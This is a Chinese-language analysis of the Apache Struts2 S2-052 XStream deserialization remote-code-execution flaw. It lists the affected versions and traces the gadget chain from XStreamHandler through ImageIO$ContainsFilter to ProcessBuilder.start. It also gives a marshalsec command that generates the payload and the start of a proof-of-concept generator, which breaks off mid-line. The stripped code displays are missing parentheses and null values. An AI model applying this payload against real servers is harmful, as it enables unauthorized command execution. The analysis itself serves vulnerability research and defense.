Smi1e@Pentes7eam
漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-052
当Struts2使用了
Struts2-Rest-Plugin
插件时,如果http请求的Content-type
为application/xml
,则会使用XStreamHandler
解析器实例化XStream
对象来反序列化处理我们传入的XML数据,且在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),因此我们可以通过反序列化引入任意类造成远程命令执行漏洞。
漏洞复现
![6e801a3ebfb21b5e64936ae97ba06731.png](https://img-blog.csdnimg.cn/img_convert/6e801a3ebfb21b5e64936ae97ba06731.png)
影响范围
Struts 2.1.2 - 2.3.33,Struts 2.5 - 2.5.12
漏洞分析
Struts2-Rest-Plugin
是让Struts2能够实现Restful API
的一个插件,其根据Content-Type
或URI
扩展名来判断用户传入的数据包类型,可以看到xml
格式的处理器对应
org.apache.struts2.rest.handler.XStreamHandler
org.apache.struts2.rest.handler.XStreamHandler.java
package org.apache.struts2.rest.handler;
import com.thoughtworks.xstream.XStream;
import java.io.IOException;
import java.io.Reader;
import java.io.Writer;
public class XStreamHandler implements ContentTypeHandler {
public XStreamHandler {
}
public String fromObject(Object obj, String resultCode, Writer out) throws IOException {
if (obj != ) {
XStream xstream = this.createXStream;
xstream.toXML(obj, out);
}
return ;
}
public void toObject(Reader in, Object target) {
XStream xstream = this.createXStream;
xstream.fromXML(in, target);
}
protected XStream createXStream {
return new XStream;
}
public String getContentType {
return "application/xml";
}
public String getExtension {
return "xml";
}
}
toObject
方法调用XStream
反序列化XML获得对象,fromObject
方法调用XStream
序列化对象为XML。
在 Struts2-Rest-Plugin
插件的拦截器
org.apache.struts2.rest.ContentTypeInterceptor
中下断点。获取到请求解析器之后,如果请求体长度不为0则调用其 toObject
方法。
![9b1ccecb60440254bf947a248f8ee437.png](https://img-blog.csdnimg.cn/img_convert/9b1ccecb60440254bf947a248f8ee437.png)
然后就到了 XStreamHandler
的toObject
方法中,并调用xstream.fromXML(in, target);
把我们传入的XML数据进行反序列化且并没有做任何限制。
![b3f83770d4b32094e3d13c11f0dfc007.png](https://img-blog.csdnimg.cn/img_convert/b3f83770d4b32094e3d13c11f0dfc007.png)
前面的触发流程很简单,后面主要就是XML反序列化payload构造。java unmarshal
反序列化利用工具 marshalsec 可以生成 XStream 的很多 gadgets。
上面的poc利用的是 ImageIO
这条gadgets。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc
调用栈
![442ff99d7b9acf62919adbf2c530e8b2.png](https://img-blog.csdnimg.cn/img_convert/442ff99d7b9acf62919adbf2c530e8b2.png)
XStream反序列化的逻辑,实际上是解析XML DOM重组对象的一个过程。流程比较复杂,这里仅大致写一下。
跟到 MapConverter
中的putCurrentEntryIntoMap
方法
![5fc950a3a33acc5ca26236f31ab0dfee.png](https://img-blog.csdnimg.cn/img_convert/5fc950a3a33acc5ca26236f31ab0dfee.png)
因为我们最终将 NativeString
对象放到了hashMap
里然后对hashMap
进行序列化,所以当反序列化重组对象的时候,会触发NativeString
的hashCode
方法。
public int hashCode {
return this.getStringValue.hashCode;
}
private String getStringValue {
return this.value instanceof String ? (String)this.value : this.value.toString;
}
这里的 value
是payload中传入的
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
的对象,所以进入 Base64Data
的toString
方法,跟进get
方法。
public String toString {
this.get;
return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);
}
解析出我们传入的 dataSource
对象并返回CipherInputStream
对象,然后传给baos.readFrom
![a8774aaa68f6cf85122fc37103e1b1dc.png](https://img-blog.csdnimg.cn/img_convert/a8774aaa68f6cf85122fc37103e1b1dc.png)
继续跟到 FilterIterator
的next
方法,advance
会调用FilterIterator$Filter
的filter
方法。此时的FilterIterator$Filter
是我们传入的
javax.imageio.ImageIO$ContainsFilter
。
public T next {
if (next == ) {
throw new NoSuchElementException;
}
T o = next;
advance;
return o;
}
private void advance {
while (iter.hasNext) {
T elt = iter.next;
if (filter.filter(elt)) {
next = elt;
return;
}
}
next = ;
}
参数 elt
则是我们payload中传入的java.lang.ProcessBuilder
对象,最终调用
javax.imageio.ImageIO$ContainsFilter
的 filter
方法反射执行命令,其中的method
也是我们传入的java.lang.ProcessBuilder
类的start
方法。
![c1f4677a55ac68e60dc147e706330c8c.png](https://img-blog.csdnimg.cn/img_convert/c1f4677a55ac68e60dc147e706330c8c.png)
![786489c36d460542cdf3070d4c3affee.png](https://img-blog.csdnimg.cn/img_convert/786489c36d460542cdf3070d4c3affee.png)
poc生成代码如下
import com.thoughtworks.xstream.XStream;
import sun.reflect.ReflectionFactory;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.Cipher;
import java.io.InputStream;
import java.lang.reflect.*;
import java.util.Collections;
import java.util.HashMap;
public class ImageIOPayload {
public static void main(String[] args) throws Exception {
ProcessBuilder pb = new ProcessBuilder(new String[]{"open